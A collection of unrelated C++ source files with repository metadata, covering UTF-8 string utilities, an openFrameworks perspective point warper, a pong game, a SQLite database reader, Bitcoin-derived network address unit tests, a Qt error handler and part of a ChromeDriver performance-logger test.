case U'Q': return U'q';
case U'R': return U'r';
case U'S': return U's';
case U'T': return U't';
case U'U': return U'u';
case U'V': return U'v';
case U'W': return U'w';
case U'X': return U'x';
case U'Y': return U'y';
case U'Z': return U'z';
case U'À': return U'à';
case U'Á': return U'á';
case U'Â': return U'â';
case U'Ã': return U'ã';
case U'Ä': return U'ä';
case U'Å': return U'å';
case U'Æ': return U'æ';
case U'Ç': return U'ç';
case U'È': return U'è';
case U'É': return U'é';
case U'Ê': return U'ê';
case U'Ë': return U'ë';
case U'Ì': return U'ì';
case U'Í': return U'í';
case U'Î': return U'î';
case U'Ï': return U'ï';
case U'Ð': return U'ð';
case U'Ñ': return U'ñ';
case U'Ò': return U'ò';
case U'Ó': return U'ó';
case U'Ô': return U'ô';
case U'Õ': return U'õ';
case U'Ö': return U'ö';
case U'×': return U'÷';
case U'Ø': return U'ø';
case U'Ù': return U'ù';
case U'Ú': return U'ú';
case U'Û': return U'û';
case U'Ü': return U'ü';
case U'Ý': return U'ý';
case U'Þ': return U'þ';
case U'ẞ': return U'ß';
default:
return v_;
}
}
uint32_t v_;
};
struct Utf8_view {
Utf8_view(const std::string& v): v_{v}
{
}
Utf8_view(std::string_view v): v_{v}
{
}
Utf8_view(const char* const v): v_{v}
{
}
struct Iterator {
using Type = Utf8_byte_type;
Iterator(Utf8_view* v, std::size_t pos): v_{v}, pos_{pos}, code_point_{to_code_point()}
{
}
std::byte byte() const noexcept
{
return std::byte{static_cast<uint8_t>(v_->v_[pos_])};
}
Type type() const noexcept
{
return get_utf8_byte_type(byte());
}
const Unicode_code_point& get() const noexcept
{
return code_point_;
}
const Unicode_code_point& operator*() const noexcept
{
return code_point_;
}
const Unicode_code_point* operator->() const noexcept
{
return &code_point_;
}
operator const Unicode_code_point&() const noexcept
{
return code_point_;
}
bool operator==(const Iterator& other) const noexcept
{
return &v_->v_ == &other.v_->v_ && pos_ == other.pos_;
}
bool operator!=(const Iterator& other) const noexcept
{
return !(*this == other);
}
Iterator& operator++() noexcept
{
switch (type()) {
case Type::continuation_byte:
case Type::single_byte_ascii:
pos_ = std::min(pos_ + 1, v_->byte_count());
break;
case Type::first_of_two_bytes:
pos_ = std::min(pos_ + 2, v_->byte_count());
break;
case Type::first_of_three_bytes:
pos_ = std::min(pos_ + 3, v_->byte_count());
break;
case Type::first_of_four_bytes:
pos_ = std::min(pos_ + 4, v_->byte_count());
break;
}
code_point_ = to_code_point();
return *this;
}
Iterator operator++(int) const noexcept
{
return ++Iterator{*this};
}
private:
Unicode_code_point to_code_point() noexcept
{
switch (type()) {
case Type::continuation_byte:
return {0xFFFDu};
case Type::single_byte_ascii:
return Unicode_code_point{v_->v_[pos_]};
case Type::first_of_two_bytes:
if (pos_ + 1 >= v_->byte_count())
return {0xFFFDu};
return Unicode_code_point{v_->v_[pos_], v_->v_[pos_ + 1]};
case Type::first_of_three_bytes:
if (pos_ + 2 >= v_->byte_count())
return {0xFFFDu};
return Unicode_code_point{v_->v_[pos_], v_->v_[pos_ + 1], v_->v_[pos_ + 2]};
case Type::first_of_four_bytes:
if (pos_ + 3 >= v_->byte_count())
return {0xFFFDu};
return Unicode_code_point{v_->v_[pos_], v_->v_[pos_ + 1], v_->v_[pos_ + 2], v_->v_[pos_ + 3]};
}
}
Utf8_view* v_;
std::size_t pos_;
Unicode_code_point code_point_;
};
Iterator begin()
{
return {this, 0};
}
Iterator end()
{
return {this, byte_count()};
}
std::size_t byte_count()
{
return v_.size();
}
bool icompare(Utf8_view other)
{
auto it = begin();
auto other_it = other.begin();
while (it != end() && other_it != other.end()) {
if (!it->icompare(*other_it))
return false;
++it;
++other_it;
}
return (it == end() && other_it == other.end());
}
bool iless(Utf8_view other)
{
auto it = begin();
auto other_it = other.begin();
while (it != end() && other_it != other.end()) {
auto lc1 = it->as_lower_case();
auto lc2 = other_it->as_lower_case();
if (lc1.v_ < lc2.v_)
return true;
if (lc1.v_ > lc2.v_)
return false;
++it;
++other_it;
}
return (it == end() && other_it != other.end());
}
std::string_view v_;
};
inline std::string as_lower_cased_string(Utf8_view v)
{
std::string string;
for (auto& c: v) {
string += c.as_lower_case().to_utf8().data();
}
return string;
}
inline std::string as_upper_cased_string(Utf8_view v)
{
std::string string;
for (auto& c: v) {
string += c.as_upper_case().to_utf8().data();
}
return string;
}
/**
* This will truncate the string if either max_length or max_lines is reached.
*/
inline std::string truncate_by_length_and_lines(std::string s, std::size_t max_length, std::size_t max_lines, std::string truncate_marker = " ...")
{
std::size_t glyph_count{0};
std::size_t line_count{1};
for (std::size_t i{0}; i != s.size(); ++i)
{
char c = s[i];
if (is_utf8_code_point_begin(c))
++glyph_count;
if (c == '\n')
++line_count;
bool limit_reached = glyph_count > max_length || line_count > max_lines;
if (limit_reached) {
s.resize(i);
s += truncate_marker;
break;
}
}
return s;
}
// Remove when string_view is finished in stdc++
inline std::string& operator +=(std::string& out, const std::string_view& in)
{
return out.append(in.data(), in.size());
}
inline constexpr bool is_utf8(char c) {
return (c & 0b1000'0000);
}
template <char trim_c>
inline std::string trim(const std::string& string)
{
size_t first = string.find_first_not_of(trim_c);
if (first == std::string::npos) {
return {};
}
size_t last = string.find_last_not_of(trim_c);
return string.substr(first, 1 + last - first);
}
/**
* Split by template-supplied delimiter char.
*/
template<unsigned char delimiter>
inline std::vector<std::string> split(const std::string& string)
{
return std::accumulate(string.begin(), string.end(), std::vector<std::string>{""}, [](auto& v, char c) {
switch (c) {
case delimiter: v.push_back(""); break;
default: v.back().push_back(c); break;
}
return v;
});
}
/**
* Split by delimiter chars.
*/
template<std::size_t N>
inline std::vector<std::string> split(const std::string& string, std::array<char, N> delimiters)
{
return std::accumulate(string.begin(), string.end(), std::vector<std::string>{""}, [&](auto& v, char c) {
for (char d: delimiters) {
if (c == d) {
v.push_back("");
return v;
}
}
v.back().push_back(c);
return v;
});
}
/**
* Split once by template-supplied delimiter char.
*/
template<unsigned char delimiter>
inline std::pair<std::string, std::string> split_once(const std::string& string)
{
std::pair<std::string, std::string> parts;
size_t size{string.size()}, i{0};
while (i < size && string[i] != delimiter) {
parts.first += string[i];
++i;
}
if (i < size && string[i] == delimiter) {
++i;
while (i < size) {
parts.second += string[i];
++i;
}
}
return parts;
}
template<unsigned char delimiter>
static inline std::string join(const std::vector<std::string>& vector)
{
switch (vector.size()) {
case 0:
return {""};
case 1:
return vector.back();
default: {
assert(vector.size() >= 2);
size_t size = vector.size() - 1;
for (const std::string& string: vector)
size += string.size();
std::string out;
out.reserve(size);
auto it = vector.begin();
out = *it;
while (++it != vector.end()) {
out += delimiter;
out += *it;
}
return out;
}
}
}
template<unsigned char delimiter, size_t Count>
inline std::string join(const std::array<std::string, Count>& strings)
{
if (strings.empty()) {
return {""};
}
return std::accumulate(strings.begin() + 1, strings.end(), std::string{strings.front()}, [](auto& out, auto& in) {
out.push_back(delimiter);
out += in;
return out;
});
}
inline std::string join(const std::vector<std::string>& strings, std::string_view glue)
{
if (strings.empty()) {
return {""};
}
return std::accumulate(strings.begin() + 1, strings.end(), std::string{strings.front()}, [&](auto& out, auto& in) {
out += glue;
out += in;
return out;
});
}
inline std::vector<std::string> prefix(const std::vector<std::string>& strings, const std::string_view& prefix)
{
std::vector<std::string> prefixed_strings;
for (const std::string& string: strings) {
std::string t;
t.reserve(prefix.size() + string.size());
prefixed_strings.emplace_back((t += prefix) += string);
}
return prefixed_strings;
}
template <size_t Count>
inline std::array<std::string, Count> prefix(const std::array<std::string, Count>& strings, const std::string_view& prefix)
{
std::array<std::string, Count> prefixed_strings;
size_t i{0};
for (const std::string& string: strings) {
prefixed_strings[i].reserve(prefix.size() + string.size());
prefixed_strings[i] += prefix;
prefixed_strings[i] += string;
++i;
}
return prefixed_strings;
}
/**
* Checks if needle (text to find) is in haystack (text which is searched) case insensitive.
*/
bool icontains(Utf8_view haystack, Utf8_view needle) noexcept;
/**
* Compare two utf8 strings case insensitive.
*/
inline bool u8_iequal(Utf8_view v1, Utf8_view v2) noexcept
{
return v1.icompare(v2);
}
/**
* Sort two utf8 strings case insensitive.
*/
inline bool u8_iless(Utf8_view v1, Utf8_view v2) noexcept
{
return v1.iless(v2);
}
|
[
"kira.backes@nrwsoft.de"
] |
kira.backes@nrwsoft.de
|
5150bef582113a7fe2311910184aec6fd027363d
|
97ef2fa6d03027d8b7559518e7f807c67f08ef1c
|
/src/PointWarper.cpp
|
92905d1d97ff3157e8840c249eea24cde0e9c125
|
[] |
no_license
|
connorgmeehan/ofxWilkinson
|
32871982d1005650743616a9419b2fed45b2a95e
|
42d9961c0ad9c362017f17fba49b8fc2a92173c0
|
refs/heads/master
| 2020-04-20T14:54:38.585002
| 2019-07-27T09:59:37
| 2019-07-27T09:59:37
| 168,913,254
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,215
|
cpp
|
#include "PointWarper.h"
void PointWarper::setup(int width, int height){
_width = width;
_height = height;
// setup defaults
_pointWarpParams.add(_pTopLeft.set("top_left", glm::vec2(0,0), glm::vec2(0,0), glm::vec2(_width, _height)));
_pointWarpParams.add(_pTopRight.set("top_right", glm::vec2(_width,0), glm::vec2(0,0), glm::vec2(_width, _height)));
_pointWarpParams.add(_pBottomRight.set("bottom_right", glm::vec2(_width,_height), glm::vec2(0,0), glm::vec2(_width, _height)));
_pointWarpParams.add(_pBottomLeft.set("bottom_left", glm::vec2(0,_height), glm::vec2(0,0), glm::vec2(_width, _height)));
// bind listeners
_pTopLeft.addListener(this, &PointWarper::onTopLeft);
_pTopRight.addListener(this, &PointWarper::onTopRight);
_pBottomRight.addListener(this, &PointWarper::onBottomRight);
_pBottomLeft.addListener(this, &PointWarper::onBottomLeft);
// apply defaults
_srcPoints[0] = ofxCv::toCv(_pTopLeft);
_srcPoints[1] = ofxCv::toCv(_pTopRight);
_srcPoints[2] = ofxCv::toCv(_pBottomRight);
_srcPoints[3] = ofxCv::toCv(_pBottomLeft);
_destPoints[0] = cv::Point2f(0,0);
_destPoints[1] = cv::Point2f(_width,0);
_destPoints[2] = cv::Point2f(_width,height);
_destPoints[3] = cv::Point2f(0,_height);
}
std::vector<cv::Point2f> & PointWarper::warpPoints(std::vector<cv::Point2f> & toWarp){
// TODO:: Make this a variable
cv::Matx33f perspective = cv::getPerspectiveTransform(_srcPoints, _destPoints);
_warpedPoints.resize(toWarp.size());
for(int i = 0; i < toWarp.size(); i++) {
cv::Point3f temp(toWarp[i].x, toWarp[i].y, 1);
temp = perspective.inv() * temp;
_warpedPoints[i] = cv::Point2f(temp.x, temp.y);
}
return _warpedPoints;
}
void PointWarper::draw(){
ofSetColor(ofColor::red);
ofNoFill();
ofSetLineWidth(1);
ofPolyline quad;
quad.addVertex(glm::vec3(_pTopLeft.get().x, _pTopLeft.get().y, 0) );
quad.addVertex(glm::vec3(_pTopRight.get().x, _pTopRight.get().y, 0) );
quad.addVertex(glm::vec3(_pBottomRight.get().x, _pBottomRight.get().y, 0) );
quad.addVertex(glm::vec3(_pBottomLeft.get().x, _pBottomLeft.get().y, 0) );
quad.addVertex(glm::vec3(_pTopLeft.get().x, _pTopLeft.get().y, 0) );
quad.draw();
ofDrawBitmapString("tl " + ofToString(_pTopLeft), _pTopLeft);
ofDrawBitmapString("tr " + ofToString(_pTopRight), _pTopRight);
ofDrawBitmapString("br " + ofToString(_pBottomRight), _pBottomRight);
ofDrawBitmapString("bl " + ofToString(_pBottomLeft), _pBottomLeft);
for(auto & p : _warpedPoints) {
ofDrawCircle(p.x, p.y + _height, 3);
}
}
ofParameterGroup & PointWarper::getParameters() {
return _pointWarpParams;
}
std::vector<cv::Point2f> & PointWarper::getWarped() {
return _warpedPoints;
}
void PointWarper::onTopLeft(glm::vec2 & val){
_srcPoints[0] = cv::Point2f(val.x, val.y);
}
void PointWarper::onTopRight(glm::vec2 & val){
_srcPoints[1] = cv::Point2f(val.x, val.y);
}
void PointWarper::onBottomRight(glm::vec2 & val){
_srcPoints[2] = cv::Point2f(val.x, val.y);
}
void PointWarper::onBottomLeft(glm::vec2 & val){
_srcPoints[3] = cv::Point2f(val.x, val.y);
}
|
[
"connorgmeehan23@gmail.com"
] |
connorgmeehan23@gmail.com
|
70acd777a5a87439d7cd4c9dc9388fb0861c0b92
|
c5e7c75c355a599cf082f992cf683695a1749380
|
/URI 1068/URI 1068/stdafx.cpp
|
0e33ae14f6a0812b4ac8f4aedc106e9b9b758ce9
|
[] |
no_license
|
ShawonAshraf/UriOJCodes
|
071f200b0450db0a253bb8ebb06165bf1d6e34cf
|
69dc4a88710656d5237936bf6d2e45df8060c675
|
refs/heads/master
| 2021-01-12T12:00:57.107897
| 2019-02-10T20:30:35
| 2019-02-10T20:30:35
| 68,851,044
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 287
|
cpp
|
// stdafx.cpp : source file that includes just the standard includes
// URI 1068.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
|
[
"Shawon Ashraf"
] |
Shawon Ashraf
|
56b7fb62ed92096fab395e09cac47d92eaa0bb0b
|
cc6969df1c576e3d75a00cf623fd0a45f076cc38
|
/985/a.cpp
|
a127286c442f27d69b8d9e966f87465d951f2fbf
|
[] |
no_license
|
Moon3903/CodeForces
|
3b0105c738c309085d515feb65d7d7b307591bef
|
ac599df95526ef04fb73e2cb75644ff3db6ff5e5
|
refs/heads/main
| 2023-06-30T22:37:45.316516
| 2021-08-03T07:56:28
| 2021-08-03T07:56:28
| 392,027,740
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 434
|
cpp
|
#include<bits/stdc++.h>
using namespace std;
int kasus,tmp,black,white,sampai,ok,hai;
int arr[1000];
int hitam(int x){cout<<" x "<<x<<endl;
tmp=0;
for(x;x>=0;x--){
cout<<" x "<<arr[x]<<" ok "<<ok<<endl;
tmp+=abs(arr[x]-ok);
ok-=2;
}
return tmp;
}
int main(){
cin>>sampai>>ok;
hai=kasus/2;
for(kasus=0;kasus<hai;kasus++){
cin>>arr[kasus];
}
ok=sampai;
cout<<"hai "<<hai<<endl;
black=hitam(hai-1);
cout<<black;
}
|
[
"zulfikar.fauzul.akbar@gmail.com"
] |
zulfikar.fauzul.akbar@gmail.com
|
8b167986a2d007bf09325d6738f6122989a05a81
|
f4ed005773d608f16eea58f6c43b79482da8b9cc
|
/src/pong.cpp
|
35feff5d81f068ce619060ce1ad5a13289d42813
|
[] |
no_license
|
benwilliamgraham/build18-2021
|
292f6c8378cb4b30ea3d9fe973c1762ac01944a3
|
3fa1cb5a5961608009bc011469465c4ddc16d648
|
refs/heads/main
| 2023-03-18T05:51:19.041685
| 2021-02-08T20:32:20
| 2021-02-08T20:32:20
| 336,650,051
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,120
|
cpp
|
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
#include "pong.h"
namespace pong{
struct {
int speed;
int ballDirX;
int ballDirY;
} gameState;
void moveAndOpp() {
// Move Ball
pongData.bposX += gameState.ballDirX;
pongData.bposY += gameState.ballDirY;
// Move opponents
if (pongData.rposY < pongData.bposY) {
pongData.rposY += 1;
} else {
pongData.rposY -= 1;
}
}
void bounce() {
// Check the ceiling and floor
if (pongData.bposY >= pongData.height) {
gameState.ballDirY = -1;
} else if (pongData.bposY <= 0) {
gameState.ballDirY = 1;
}
// Check if the left paddle hits the ball
if (pongData.lposX <= pongData.bposX &&
pongData.bposX <= pongData.lposX + pongData.paddleWidth) {
if (pongData.lposY <= pongData.bposY &&
pongData.bposY <= pongData.lposY + pongData.paddleHeight) {
gameState.ballDirX = 1;
}
}
// Check if the right paddle hits the ball
if (pongData.rposX <= pongData.bposX &&
pongData.bposX <= pongData.rposX + pongData.paddleWidth) {
if (pongData.rposY <= pongData.bposY &&
pongData.bposY <= pongData.rposY + pongData.paddleHeight) {
gameState.ballDirX = -1;
}
}
}
bool checkOOB() {
return (pongData.bposX < 0) || (pongData.bposX > pongData.width);
}
void run() {
// init
while (1) {
gameState.ballDirX = 1;
gameState.ballDirY = 1;
gameState.speed = 1;
char c;
c = getchar();
if (c == 'b') {
break;
}
}
while(1) {
char c;
c = getchar();
switch(c) {
case 'w': {
if (pongData.lposY < pongData.height) {
pongData.lposY += 1;
}
break;
}
case 's': {
if (pongData.lposY > 0) {
pongData.lposY -= 1;
}
break;
}
}
// Move the AI
moveAndOpp();
bounce();
// Check OOB
if (checkOOB()) {
pongData.bposY = pongData.height / 2;
pongData.bposX = pongData.width / 2;
}
}
}
}; // pong
|
[
"ziyizuo@andrew.cmu.edu"
] |
ziyizuo@andrew.cmu.edu
|
82fbeb4d68e293fe571e3f6127612640bba25b4f
|
432016b0782606270937fad19ed8d03c51733ff4
|
/utilities/DatabaseReader.h
|
878452efa02e6e1b63ba63841183635226000f59
|
[] |
no_license
|
qian-liu/2D_visualiser
|
f9d7012669ff7b8749cecf51e136d1231af775e8
|
92508cf875c4e1a251f191e6500f8018b7f1195e
|
refs/heads/master
| 2021-01-10T20:58:00.053799
| 2015-04-24T17:14:16
| 2015-04-24T17:14:16
| 34,318,387
| 0
| 2
| null | 2015-04-23T14:57:56
| 2015-04-21T09:46:12
|
C++
|
UTF-8
|
C++
| false
| false
| 957
|
h
|
#include <map>
#include <string>
#include <vector>
#include <sqlite3.h>
#ifndef DATABASEREADER_H_
#define DATABASEREADER_H_
typedef struct ip_tag_info {
char *ip_address;
int port;
bool strip_sdp;
} ip_tag_info;
typedef struct reverse_ip_tag_info {
char *board_address;
int port;
} reverse_ip_tag_info;
class DatabaseReader {
sqlite3 *db;
public:
DatabaseReader(char *database_path);
virtual ~DatabaseReader();
sqlite3 *get_cursor();
std::vector<char *> *get_live_population_labels();
std::map<int, int> *get_key_to_neuron_id_mapping(char* label);
std::map<int, int> *get_neuron_id_to_key_mapping(char* label);
ip_tag_info *get_live_output_details(char *label);
reverse_ip_tag_info *get_live_input_details(char *label);
int get_n_neurons(char *label);
float get_configuration_parameter_value(char *parameter_name);
void close_database_connection();
};
#endif /* DATABASEREADER_H_ */
|
[
"qianliu.bjut@gmail.com"
] |
qianliu.bjut@gmail.com
|
60fad48ac8f84bd2dd10d09f379235cfe479327f
|
398b64410ae291841168a0ae37ec5b936799cf85
|
/src/test/netbase_tests.cpp
|
cf2ce8efa12ac12f1f2f4e801807eb1c42d14a3b
|
[
"MIT"
] |
permissive
|
HundredCoinProject/HundredCoin
|
0be2e357835ea6a33c977c10f6c1c184199d87a5
|
e0f7b35c57d9af7615b87a98576741919ff263d6
|
refs/heads/master
| 2021-01-01T15:40:29.496284
| 2014-10-27T02:12:35
| 2014-10-27T02:12:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,069
|
cpp
|
#include <boost/test/unit_test.hpp>
#include <string>
#include <vector>
#include "netbase.h"
using namespace std;
BOOST_AUTO_TEST_SUITE(netbase_tests)
BOOST_AUTO_TEST_CASE(netbase_networks)
{
BOOST_CHECK(CNetAddr("127.0.0.1").GetNetwork() == NET_UNROUTABLE);
BOOST_CHECK(CNetAddr("::1").GetNetwork() == NET_UNROUTABLE);
BOOST_CHECK(CNetAddr("8.8.8.8").GetNetwork() == NET_IPV4);
BOOST_CHECK(CNetAddr("2001::8888").GetNetwork() == NET_IPV6);
BOOST_CHECK(CNetAddr("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca").GetNetwork() == NET_TOR);
}
BOOST_AUTO_TEST_CASE(netbase_properties)
{
BOOST_CHECK(CNetAddr("127.0.0.1").IsIPv4());
BOOST_CHECK(CNetAddr("::FFFF:192.168.1.1").IsIPv4());
BOOST_CHECK(CNetAddr("::1").IsIPv6());
BOOST_CHECK(CNetAddr("10.0.0.1").IsRFC1918());
BOOST_CHECK(CNetAddr("192.168.1.1").IsRFC1918());
BOOST_CHECK(CNetAddr("172.31.255.255").IsRFC1918());
BOOST_CHECK(CNetAddr("2001:0DB8::").IsRFC3849());
BOOST_CHECK(CNetAddr("169.254.1.1").IsRFC3927());
BOOST_CHECK(CNetAddr("2002::1").IsRFC3964());
BOOST_CHECK(CNetAddr("FC00::").IsRFC4193());
BOOST_CHECK(CNetAddr("2001::2").IsRFC4380());
BOOST_CHECK(CNetAddr("2001:10::").IsRFC4843());
BOOST_CHECK(CNetAddr("FE80::").IsRFC4862());
BOOST_CHECK(CNetAddr("64:FF9B::").IsRFC6052());
BOOST_CHECK(CNetAddr("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca").IsTor());
BOOST_CHECK(CNetAddr("127.0.0.1").IsLocal());
BOOST_CHECK(CNetAddr("::1").IsLocal());
BOOST_CHECK(CNetAddr("8.8.8.8").IsRoutable());
BOOST_CHECK(CNetAddr("2001::1").IsRoutable());
BOOST_CHECK(CNetAddr("127.0.0.1").IsValid());
}
bool static TestSplitHost(string test, string host, int port)
{
string hostOut;
int portOut = -1;
SplitHostPort(test, portOut, hostOut);
return hostOut == host && port == portOut;
}
BOOST_AUTO_TEST_CASE(netbase_splithost)
{
BOOST_CHECK(TestSplitHost("www.bitcoin.org", "www.bitcoin.org", -1));
BOOST_CHECK(TestSplitHost("[www.bitcoin.org]", "www.bitcoin.org", -1));
BOOST_CHECK(TestSplitHost("www.bitcoin.org:80", "www.bitcoin.org", 80));
BOOST_CHECK(TestSplitHost("[www.bitcoin.org]:80", "www.bitcoin.org", 80));
BOOST_CHECK(TestSplitHost("127.0.0.1", "127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("127.0.0.1:10010", "127.0.0.1", 10010));
BOOST_CHECK(TestSplitHost("[127.0.0.1]", "127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("[127.0.0.1]:10010", "127.0.0.1", 10010));
BOOST_CHECK(TestSplitHost("::ffff:127.0.0.1", "::ffff:127.0.0.1", -1));
BOOST_CHECK(TestSplitHost("[::ffff:127.0.0.1]:10010", "::ffff:127.0.0.1", 10010));
BOOST_CHECK(TestSplitHost("[::]:10010", "::", 10010));
BOOST_CHECK(TestSplitHost("::10010", "::10010", -1));
BOOST_CHECK(TestSplitHost(":10010", "", 10010));
BOOST_CHECK(TestSplitHost("[]:10010", "", 10010));
BOOST_CHECK(TestSplitHost("", "", -1));
}
bool static TestParse(string src, string canon)
{
CService addr;
if (!LookupNumeric(src.c_str(), addr, 65535))
return canon == "";
return canon == addr.ToString();
}
BOOST_AUTO_TEST_CASE(netbase_lookupnumeric)
{
BOOST_CHECK(TestParse("127.0.0.1", "127.0.0.1:65535"));
BOOST_CHECK(TestParse("127.0.0.1:10010", "127.0.0.1:10010"));
BOOST_CHECK(TestParse("::ffff:127.0.0.1", "127.0.0.1:65535"));
BOOST_CHECK(TestParse("::", "[::]:65535"));
BOOST_CHECK(TestParse("[::]:10010", "[::]:10010"));
BOOST_CHECK(TestParse("[127.0.0.1]", "127.0.0.1:65535"));
BOOST_CHECK(TestParse(":::", ""));
}
BOOST_AUTO_TEST_CASE(onioncat_test)
{
// values from http://www.cypherpunk.at/onioncat/wiki/OnionCat
CNetAddr addr1("5wyqrzbvrdsumnok.onion");
CNetAddr addr2("FD87:D87E:EB43:edb1:8e4:3588:e546:35ca");
BOOST_CHECK(addr1 == addr2);
BOOST_CHECK(addr1.IsTor());
BOOST_CHECK(addr1.ToStringIP() == "5wyqrzbvrdsumnok.onion");
BOOST_CHECK(addr1.IsRoutable());
}
BOOST_AUTO_TEST_SUITE_END()
|
[
"codingbug@gmail.com"
] |
codingbug@gmail.com
|
bb8f593e153fa3ca9cb168efafa4cd9986d59eb9
|
aa467b0a6979f4848bd9c7c42660dddfd2053085
|
/src/utils.cpp
|
f316c6b47250440ab3cc86ae69de7869a3abcdd5
|
[
"MIT"
] |
permissive
|
aobolensk/fishing-time
|
76494e2db369b0c06af6f2a303841e92e44d43e2
|
a56970eb026e8e86d16e9a7444ef892996d74546
|
refs/heads/master
| 2023-04-30T07:46:07.551019
| 2021-01-01T18:52:15
| 2021-01-01T18:52:15
| 194,558,008
| 0
| 0
|
MIT
| 2021-05-28T18:03:59
| 2019-06-30T20:24:25
|
C++
|
UTF-8
|
C++
| false
| false
| 1,148
|
cpp
|
#include <QApplication>
#include <QDebug>
#include <QFile>
#include <QTextStream>
#include <QProcess>
#include "aboutmenu.h"
#include "errorwidget.h"
#include "utils.h"
void ft_error::ft_assert(QString place, QString text) {
QFile errorLog("error.log");
if (errorLog.open(QFile::ReadWrite | QIODevice::Truncate | QIODevice::Text)) {
QTextStream f(&errorLog);
f << "Assertion failed at " << place << ": " << text << endl;
f << ErrorWidget::getStacktrace();
f << "-----------------------------------\n"
"Version: " TOSTRING(COMMIT_HASH) "\n"
"OS: " + AboutMenu::getSystemInfo() + "\n"
"Compiler: " + AboutMenu::getCompilerInfo() + "\n";
qApp->exit(1);
QStringList newArgs = {
"--err"
};
errorLog.close();
if (!QProcess::startDetached(qApp->arguments()[0], newArgs)) {
qCritical() << "Failed to open error window!";
errorLog.open(QFile::ReadOnly);
qCritical().noquote() << f.readAll();
}
}
exit(1);
}
int ft_utils::toInt(const QKeySequence &obj) {
return obj[0];
}
|
[
"gooddoog@student.su"
] |
gooddoog@student.su
|
33212931793325b574d11167d4ae0e1b88587d4c
|
8dc84558f0058d90dfc4955e905dab1b22d12c08
|
/chrome/test/chromedriver/performance_logger_unittest.cc
|
071755cca52fd3f1d618f85e45374531880d8b39
|
[
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] |
permissive
|
meniossin/src
|
42a95cc6c4a9c71d43d62bc4311224ca1fd61e03
|
44f73f7e76119e5ab415d4593ac66485e65d700a
|
refs/heads/master
| 2022-12-16T20:17:03.747113
| 2020-09-03T10:43:12
| 2020-09-03T10:43:12
| 263,710,168
| 1
| 0
|
BSD-3-Clause
| 2020-05-13T18:20:09
| 2020-05-13T18:20:08
| null |
UTF-8
|
C++
| false
| false
| 13,499
|
cc
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/test/chromedriver/performance_logger.h"
#include <stddef.h>
#include <memory>
#include <utility>
#include <vector>
#include "base/compiler_specific.h"
#include "base/format_macros.h"
#include "base/json/json_reader.h"
#include "base/time/time.h"
#include "base/values.h"
#include "chrome/test/chromedriver/chrome/devtools_client_impl.h"
#include "chrome/test/chromedriver/chrome/log.h"
#include "chrome/test/chromedriver/chrome/status.h"
#include "chrome/test/chromedriver/chrome/stub_devtools_client.h"
#include "chrome/test/chromedriver/session.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace {
struct DevToolsCommand {
DevToolsCommand(const std::string& in_method,
base::DictionaryValue* in_params)
: method(in_method) {
params.reset(in_params);
}
~DevToolsCommand() {}
std::string method;
std::unique_ptr<base::DictionaryValue> params;
};
class FakeDevToolsClient : public StubDevToolsClient {
public:
explicit FakeDevToolsClient(const std::string& id)
: id_(id), listener_(nullptr), command_index_(0) {}
~FakeDevToolsClient() override {}
bool PopSentCommand(DevToolsCommand** out_command) {
if (sent_commands_.size() > command_index_) {
*out_command = sent_commands_[command_index_++].get();
return true;
}
return false;
}
Status TriggerEvent(const std::string& method) {
base::DictionaryValue empty_params;
return listener_->OnEvent(this, method, empty_params);
}
Status TriggerEvent(const std::string& method,
const base::DictionaryValue& params) {
return listener_->OnEvent(this, method, params);
}
// Overridden from DevToolsClient:
Status ConnectIfNecessary() override { return listener_->OnConnected(this); }
Status SendCommandAndGetResult(
const std::string& method,
const base::DictionaryValue& params,
std::unique_ptr<base::DictionaryValue>* result) override {
sent_commands_.push_back(
std::make_unique<DevToolsCommand>(method, params.DeepCopy()));
return Status(kOk);
}
void AddListener(DevToolsEventListener* listener) override {
CHECK(!listener_);
listener_ = listener;
}
const std::string& GetId() override { return id_; }
private:
const std::string id_; // WebView id.
std::vector<std::unique_ptr<DevToolsCommand>>
sent_commands_; // Commands that were sent.
DevToolsEventListener* listener_; // The fake allows only one event listener.
size_t command_index_;
};
struct LogEntry {
const base::Time timestamp;
const Log::Level level;
const std::string source;
const std::string message;
LogEntry(const base::Time& timestamp,
Log::Level level,
const std::string& source,
const std::string& message)
: timestamp(timestamp), level(level), source(source), message(message) {}
};
class FakeLog : public Log {
public:
void AddEntryTimestamped(const base::Time& timestamp,
Level level,
const std::string& source,
const std::string& message) override;
bool Emptied() const override;
const std::vector<std::unique_ptr<LogEntry>>& GetEntries() {
return entries_;
}
private:
std::vector<std::unique_ptr<LogEntry>> entries_;
};
void FakeLog::AddEntryTimestamped(const base::Time& timestamp,
Level level,
const std::string& source,
const std::string& message) {
entries_.push_back(
std::make_unique<LogEntry>(timestamp, level, source, message));
}
bool FakeLog::Emptied() const {
return true;
}
std::unique_ptr<base::DictionaryValue> ParseDictionary(
const std::string& json) {
std::string error;
std::unique_ptr<base::Value> value = base::JSONReader::ReadAndReturnError(
json, base::JSON_PARSE_RFC, nullptr, &error);
if (value == nullptr) {
SCOPED_TRACE(json.c_str());
SCOPED_TRACE(error.c_str());
ADD_FAILURE();
return std::unique_ptr<base::DictionaryValue>();
}
base::DictionaryValue* dict = nullptr;
if (!value->GetAsDictionary(&dict)) {
SCOPED_TRACE("JSON object is not a dictionary");
ADD_FAILURE();
return std::unique_ptr<base::DictionaryValue>();
}
return std::unique_ptr<base::DictionaryValue>(dict->DeepCopy());
}
void ValidateLogEntry(const LogEntry *entry,
const std::string& expected_webview,
const std::string& expected_method,
const base::DictionaryValue& expected_params) {
EXPECT_EQ(Log::kInfo, entry->level);
EXPECT_LT(0, entry->timestamp.ToTimeT());
std::unique_ptr<base::DictionaryValue> message(
ParseDictionary(entry->message));
std::string webview;
EXPECT_TRUE(message->GetString("webview", &webview));
